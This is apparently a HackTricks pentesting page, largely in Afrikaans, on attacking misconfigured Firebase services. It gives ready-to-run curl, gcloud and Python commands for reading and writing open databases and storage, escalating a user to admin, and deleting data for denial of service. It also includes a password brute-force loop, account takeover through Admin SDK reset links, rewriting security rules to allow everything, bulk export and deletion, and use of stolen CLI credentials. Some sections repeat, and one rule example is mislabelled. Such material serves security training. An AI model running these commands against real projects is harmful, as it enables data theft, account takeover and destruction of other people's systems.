# GCP - Firebase Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Firebase

### Unauthenticated access to Firebase Realtime Database
Die aanvaller het nie spesifieke Firebase-toestemmings nodig om hierdie aanval uit te voer nie. Dit vereis slegs dat daar 'n kwesbare konfigurasie in die Firebase Realtime Database se security rules is, waar die reëls gestel is met `.read: true` of `.write: true`, wat openbare lees- of skryftoegang toelaat.

Die aanvaller moet die databasis-URL identifiseer, wat gewoonlik die formaat volg: `https://<project-id>.firebaseio.com/`.

Hierdie URL kan gevind word deur mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), deur konfigurasielêers soos google-services.json (Android) of GoogleService-Info.plist (iOS) te ontleed, deur die bronkode van webtoepassings te inspekteer, of deur netwerkverkeer te ondersoek om versoeke na `*.firebaseio.com` domeine te identifiseer.

Die aanvaller identifiseer die databasis-URL en kontroleer of dit openbaar blootgestel is, en kry dan toegang tot die data en skryf moontlik kwaadwillige inligting.

Eerstens kontroleer hulle of die databasis lees toegang toelaat deur `.json` aan die URL te koppel.
```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```
As die respons JSON data of null bevat (in plaas van "Permission Denied"), laat die databasis read access toe. Om write access te kontroleer, kan die attacker probeer om 'n test write request te stuur met die Firebase REST API.
```bash
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
As die operasie slaag, laat die databasis ook write access toe.

### Blootstelling van data in Cloud Firestore
Een aanvaller het nie enige spesifieke Firebase permissions nodig om hierdie aanval uit te voer nie. Dit vereis slegs dat daar 'n kwesbare konfigurasie in die Cloud Firestore security rules is waar die reëls read or write access toelaat sonder authentication of met onvoldoende validation. 'n Voorbeeld van 'n verkeerd gekonfigureerde reël wat volledige toegang verleen, is:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Hierdie reël laat enigiemand toe om alle dokumente te lees en te skryf sonder enige beperkings. Firestore-reëls is gedetailleerd en geld per versameling en dokument, sodat 'n fout in 'n spesifieke reël moontlik net sekere versamelings blootstel.

Die aanvaller moet die Firebase Project ID identifiseer, wat gevind kan word deur mobiele app reverse engineering, analise van konfigurasielêers soos google-services.json of GoogleService-Info.plist, inspeksie van die bronkode van webtoepassings, of analise van netwerkverkeer om versoeke na firestore.googleapis.com te identifiseer.
Die Firestore REST API gebruik die formaat:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
As die reëls unauthenticated read access toelaat, kan die aanvaller collections en documents lees. Eerstens probeer hulle toegang tot 'n spesifieke collection:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```
As die response JSON documents bevat in plaas van 'n permission error, is die collection blootgestel. Die attacker kan alle toeganklike collections enumerate deur algemene name te probeer of deur die struktuur van die toepassing te ontleed. Om toegang tot 'n spesifieke document:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
As die reëls unauthenticated write access toelaat of onvoldoende validasie het, kan die aanvaller nuwe dokumente skep:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'
```
Om 'n bestaande dokument te wysig, moet PATCH gebruik word:
```bash
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'
```
Om 'n dokument te verwyder en 'n ontkenning van diens te veroorsaak:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
### Blootstelling van lêers in Firebase Storage
’n Aanvaller het geen spesifieke Firebase-toestemmings nodig om hierdie aanval uit te voer nie. Dit vereis slegs dat daar ’n kwesbare konfigurasie in die Firebase Storage sekuriteitsreëls is waarin die reëls lees- of skryf-toegang toelaat sonder outentisering of met onvoldoende validering. Storage-reëls beheer lees- en skryf-toestemmings onafhanklik, so ’n fout in ’n reël kan slegs lees-toegang, slegs skryf-toegang, of beide blootstel. ’n Voorbeeld van ’n foutief gekonfigureerde reël wat volle toegang verleen, is:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Hierdie reël laat lees- en skryftoegang tot alle dokumente toe sonder enige beperkings. Firestore rules is gedetailleerd en word per versameling en per dokument toegepas, sodat 'n fout in 'n spesifieke reël slegs sekere versamelings kan blootstel. Die aanvaller moet die Firebase Project ID identifiseer, wat gevind kan word deur mobile application reverse engineering, ontleding van konfigurasielêers soos google-services.json of GoogleService-Info.plist, inspeksie van webtoepassing se bronkode, of netwerkverkeer-ontleding om versoeke na firestore.googleapis.com te identifiseer.

Die Firestore REST API gebruik die formaat:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`

As die reëls ongeauthentiseerde lees-toegang toelaat, kan die aanvaller versamelings en dokumente lees. Eerstens probeer hulle toegang tot 'n spesifieke versameling kry.
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
As die antwoord die lys van lêers bevat in plaas van 'n toestemmingsfout, is die lêer blootgestel. Die aanvaller kan die inhoud van die lêers sien deur hul pad te spesifiseer:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```
As die reëls ongemagtigde skryf-toegang toelaat of onvoldoende validering het, kan die aanvaller kwaadwillige lêers oplaai. Om 'n lêer deur die REST API op te laai:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>
```
Die aanvaller kan code shells, malware payloads, of groot lêers oplaai om 'n denial of service te veroorsaak. As die toepassing geüploade lêers verwerk of uitvoer, kan die aanvaller remote code execution bereik. Om lêers te verwyder en 'n denial of service te veroorsaak:
```bash
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```
### Aanroeping van openbare Firebase Cloud Functions
'n Aanvaller het nie enige spesifieke Firebase-permissies nodig om hierdie probleem te misbruik nie; dit vereis slegs dat 'n Cloud Function openbaar toeganklik is oor HTTP sonder verifikasie.

'n Funksie is kwesbaar wanneer dit onveilig gekonfigureer is:

- Dit gebruik functions.https.onRequest, wat nie verifikasie afdwing nie (anders as onCall functions).
- Die funksie se kode valideer nie gebruikersverifikasie nie (bv. geen kontroles vir request.auth of context.auth).
- Die funksie is publieklik toeganklik in IAM, wat beteken allUsers het die roles/cloudfunctions.invoker rol. Dit is die standaardgedrag vir HTTP functions tensy die ontwikkelaar toegang beperk.

Firebase HTTP Cloud Functions word blootgestel deur URL's soos:

- `https://<region>-<project-id>.cloudfunctions.net/<function-name>`
- `https://<project-id>.web.app/<function-name>` (when integrated with Firebase Hosting)

'n Aanvaller kan hierdie URL's ontdek deur bronkode-analise, netwerkverkeer-inspeksie, enumerasie-instrumente, of mobile app reverse engineering.
As die funksie publieklik blootgestel en sonder verifikasie is, kan die aanvaller dit direk aanroep sonder geloofsbriewe.
```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
```
As die funksie nie invoer behoorlik valideer nie, kan die attacker ander attacks probeer, soos code injection of command injection.


### Brute-force attack against Firebase Authentication met 'n swak wagwoordbeleid
An attacker does not need any specific Firebase permissions to carry out this attack. Dit vereis slegs dat die Firebase API Key in mobiele of webtoepassings blootgestel is, en dat die wagwoordbeleid nie strenger vereistes as die standaard ingestel het nie.

The attacker must identify the Firebase API Key, which can be found through mobile app reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspecting the source code of web applications (e.g., in bootstrap.js), or analyzing network traffic.

Firebase Authentication’s REST API uses the endpoint:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
to authenticate with e-pos en wagwoord.

If Email Enumeration Protection is disabled, API error responses can reveal whether an email exists in the system (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), which allows attackers to enumerate users before attempting password guessing. When this protection is enabled, the API returns the same error message for both nonexistent emails and incorrect passwords, preventing user enumeration.

Dit is belangrik om daarop te let dat Firebase Authentication rate limiting afdwing, wat versoeke kan blokkeer as te veel autentikasiepogings in 'n kort tyd plaasvind. As gevolg hiervan sal 'n attacker vertragings tussen pogings moet inbou om te verhoed dat versoeke rate-limited word.

The attacker identifies the API Key and performs authentication attempts with multiple passwords against known accounts. If Email Enumeration Protection is disabled, the attacker can enumerate existing users by analyzing the error responses:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'
```
As die antwoord EMAIL_NOT_FOUND bevat, bestaan die e-pos nie in die stelsel nie. As dit INVALID_PASSWORD bevat, bestaan die e-pos wel, maar die wagwoord is verkeerd, wat bevestig dat die gebruiker geregistreer is. Sodra 'n geldige gebruiker geïdentifiseer is, kan die attacker brute-force-pogings uitvoer. Dit is belangrik om pouses tussen pogings in te sluit om Firebase Authentication se rate-limiting mechanisms te vermy:
```bash
counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done
```
Met die standaard wagwoordbeleid (minimum 6 karakters, geen kompleksiteitsvereistes), kan die aanvaller alle moontlike kombinasies van 6-karakter wagwoorde probeer, wat 'n relatief klein soekruimte verteenwoordig in vergelyking met strenger wagwoordbeleid.

### Gebruikerbestuur in Firebase Authentication

Die aanvaller benodig spesifieke Firebase Authentication-magtigings om hierdie aanval uit te voer. Die vereiste magtigings is:

- `firebaseauth.users.create` om gebruikers te skep
- `firebaseauth.users.update` om bestaande gebruikers te wysig
- `firebaseauth.users.delete` om gebruikers te verwyder
- `firebaseauth.users.get` om gebruiker-inligting op te haal
- `firebaseauth.users.sendEmail` om e-posse aan gebruikers te stuur
- `firebaseauth.users.createSession` om gebruikersessies te skep

Hierdie magtigings is ingesluit in die `roles/firebaseauth.admin` rol, wat volledige lees/skryf toegang tot Firebase Authentication-hulpbronne verleen. Hulle is ook ingesluit in hoëvlak rolle soos roles/firebase.developAdmin (wat alle firebaseauth.* magtigings insluit) en roles/firebase.admin (volledige toegang tot alle Firebase-dienste).

Om die Firebase Admin SDK te gebruik, sou die aanvaller toegang tot service account credentials (JSON file) nodig hê, wat moontlik op gekompromitteerde stelsels, publieklik blootgestelde kode-repositorieë, gekompromitteerde CI/CD-stelsels, of deur die kompromittering van ontwikkelaarrekeninge wat toegang tot hierdie credentials het, gevind kan word.

Die eerste stap is om die Firebase Admin SDK te konfigureer met service account credentials.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Om 'n kwaadwillige gebruiker te skep wat 'n slagoffer se e-posadres gebruik, sal die aanvaller probeer om die Firebase Admin SDK te gebruik om 'n nuwe rekening onder daardie e-pos te genereer.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Om 'n bestaande gebruiker te wysig, sal die aanvaller velde soos die e-posadres, verifikasiestatus of die rekening se gedeaktiveer-status bywerk.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Om 'n user account te verwyder en 'n denial of service te veroorsaak, sou die attacker 'n versoek uitstuur om die user heeltemal te verwyder.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Die aanvaller kan ook inligting oor bestaande gebruikers verkry deur hul UID of e-posadres te versoek.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Boonop kan die aanvaller verification links of password-reset links genereer om 'n gebruiker se wagwoord te verander en toegang tot hul rekening te kry.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Gebruikersbestuur in Firebase Authentication
'n Aanvaller het spesifieke Firebase Authentication-magtigings nodig om hierdie aanval uit te voer. Die vereiste magtigings is:

- `firebaseauth.users.create` om gebruikers te skep
- `firebaseauth.users.update` om bestaande gebruikers te wysig
- `firebaseauth.users.delete` om gebruikers te verwyder
- `firebaseauth.users.get` om gebruikersinligting te bekom
- `firebaseauth.users.sendEmail` om e-posse aan gebruikers te stuur
- `firebaseauth.users.createSession` om gebruikersessies te skep

Hierdie magtigings is ingesluit in die roles/firebaseauth.admin-rol, wat volle lees- en skryf-toegang tot Firebase Authentication-bronne verleen. Hulle is ook deel van hoërvlakrolle soos `roles/firebase.developAdmin` (wat alle firebaseauth.*-magtigings insluit) en `roles/firebase.admin` (volle toegang tot alle Firebase-dienste).

Om die Firebase Admin SDK te gebruik, sou die aanvaller toegang tot service account credentials (’n JSON-lêer) nodig hê, wat verkry kan word vanaf gekompromitteerde stelsels, publiek blootgestelde kodebergings, gekompromitteerde CI/CD-omgewings, of deur die kompromittering van ontwikkelaarrekeninge wat toegang tot hierdie credentials het.

Die eerste stap is om die Firebase Admin SDK te konfigureer met service account credentials.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Om 'n kwaadwillige gebruiker te skep wat die slagoffer se e-pos gebruik, sou die aanvaller probeer om 'n nuwe gebruikersrekening met daardie e-pos te skep en hul eie wagwoord en profielinligting toe te ken.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Om 'n bestaande gebruiker te wysig, sou die aanvaller velde soos die e-posadres, die verifikasiestatus of die vraag of die rekening gedeaktiveer is, verander.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Om 'n gebruikersrekening te verwyder—wat effektief 'n denial of service veroorsaak—sou die aanvaller 'n versoek stuur om daardie gebruiker permanent te verwyder.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Die aanvaller kon ook inligting oor bestaande gebruikers bekom — soos hul UID of email — deur gebruikersbesonderhede op te vra, hetsy per UID of per emailadres.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Daarbenewens kan die aanvaller verification links of password-reset links genereer, wat hulle in staat stel om die wagwoord van 'n gebruiker te verander en beheer oor die rekening te neem.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Aanpassing van sekuriteitsreëls in Firebase-dienste
Die aanvaller het spesifieke toestemmings nodig om sekuriteitsreëls te verander, afhangend van die diens. Vir Cloud Firestore en Firebase Cloud Storage is die vereiste toestemmings `firebaserules.rulesets.create` om rulesets te skep en `firebaserules.releases.create` om releases te ontplooi. Hierdie toestemmings is ingesluit in die rol `roles/firebaserules.admin` of in hoërvlakrolle soos `roles/firebase.developAdmin` en `roles/firebase.admin`. Vir Firebase Realtime Database is die vereiste toestemming `firebasedatabase.instances.update`.

Die aanvaller moet die Firebase REST API gebruik om die sekuriteitsreëls te verander. Eerstens moet die aanvaller 'n toegangstoken verkry deur service account credentials te gebruik.
Om die toegangstoken te bekom:
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```
Om Firebase Realtime Database-reëls te wysig:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'
```
Om Cloud Firestore rules te wysig, moet die aanvaller 'n ruleset skep en dit dan deploy:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'
```
Die vorige kommando gee 'n ruleset-naam terug in die formaat projects/<project-id>/rulesets/<ruleset-id>. Om die nuwe weergawe te ontplooi, moet die release bygewerk word met 'n PATCH-versoek:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
Om Firebase Cloud Storage rules te wysig:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'
```
Die vorige opdrag gee 'n ruleset-naam terug in die formaat projects/<project-id>/rulesets/<ruleset-id>. Om die nuwe weergawe te ontplooi, moet die release met 'n PATCH-aanvraag opgedateer word:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
### Data-uittrekking en -manipulasie in Cloud Firestore
Cloud Firestore gebruik dieselfde infrastruktuur en toestemmingsisteem as Cloud Datastore, dus geld Datastore IAM-permissies direk vir Firestore. Om TTL-beleid te manipuleer, is die `datastore.indexes.update`-toestemming nodig. Om data uit te voer, is die `datastore.databases.export`-toestemming nodig. Om data te invoer, is die `datastore.databases.import`-toestemming nodig. Om massiewe databewissing uit te voer, is die `datastore.databases.bulkDelete`-toestemming nodig.

Vir rugsteun- en hersteloperasies is spesifieke toestemmings nodig:

- `datastore.backups.get` en `datastore.backups.list` om beskikbare rugsteune te lys en besonderhede daarvan te bekom
- `datastore.backups.delete` om rugsteune te verwyder
- `datastore.backups.restoreDatabase` om 'n databasis vanaf 'n rugsteun te herstel
- `datastore.backupSchedules.create` en `datastore.backupSchedules.delete` om rugsteunskedules te bestuur

Wanneer 'n TTL-beleid geskep word, word 'n aangewese eienskap gekies om entiteite te identifiseer wat vir uitwissing in aanmerking kom. Hierdie TTL-eienskap moet van die datum- en tydtipe wees. Die aanvaller kan 'n eienskap kies wat reeds bestaan of 'n eienskap aandui wat hulle later wil byvoeg. As die veld se waarde 'n datum in die verlede is, word die dokument vir onmiddellike uitwissing in aanmerking geneem. Die aanvaller kan die gcloud CLI gebruik om TTL-beleid te manipuleer.
```bash
# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
```
Om data uit te voer en dit te exfiltrate, kan die aanvaller die gcloud CLI gebruik.
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```
Om kwaadwillige data te importeer:
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```
Om massale dataverwydering uit te voer en 'n denial of service te veroorsaak, kan die aanvaller die gcloud Firestore bulk-delete tool gebruik om hele versamelings te verwyder.
```bash
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
```
Vir backup- en restore-operasies kan die aanvaller geskeduleerde backups skep om die huidige toestand van die databasis vas te vang, bestaande backups lys, vanaf 'n backup restore om onlangse veranderinge oor te skryf, backups uit te vee om permanente dataverlies te veroorsaak, en geskeduleerde backups te verwyder.
Om 'n daaglikse backup-skedule te skep wat onmiddellik 'n backup genereer:
```bash
gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>
```
Om van 'n spesifieke backup te restore, kan die aanvaller 'n nuwe database skep met die data wat in daardie backup voorkom. Die restore-operasie skryf die backup se data in 'n nuwe database, wat beteken dat 'n bestaande DATABASE_ID nie gebruik kan word nie.
```bash
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>
```
Om 'n backup te verwyder en permanente dataverlies te veroorsaak:
```bash
gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
```
### Diefstal en misbruik van Firebase CLI credentials
An attacker benodig nie spesifieke Firebase-magtigings om hierdie aanval uit te voer nie, maar het wel toegang nodig tot die ontwikkelaar se plaaslike stelsel of tot die Firebase CLI credentials file. Hierdie credentials word gestoor in 'n JSON-lêer geleë by:

- Linux/macOS: ~/.config/configstore/firebase-tools.json

- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json

Hierdie lêer bevat authentication tokens, insluitend die refresh_token en access_token, wat die attacker toelaat om as die gebruiker wat oorspronklik firebase login uitgevoer het, te outentiseer.

Die attacker verkry toegang tot die Firebase CLI credentials file. Hulle kan dan die hele lêer na hul eie stelsel kopieer, en die Firebase CLI sal outomaties die credentials vanaf sy default location gebruik. Nadat hulle dit gedoen het, kan die attacker alle Firebase projects wat vir daardie gebruiker toeganklik is, sien.
```bash
firebase projects:list
```
{{#include ../../../banners/hacktricks-training.md}}
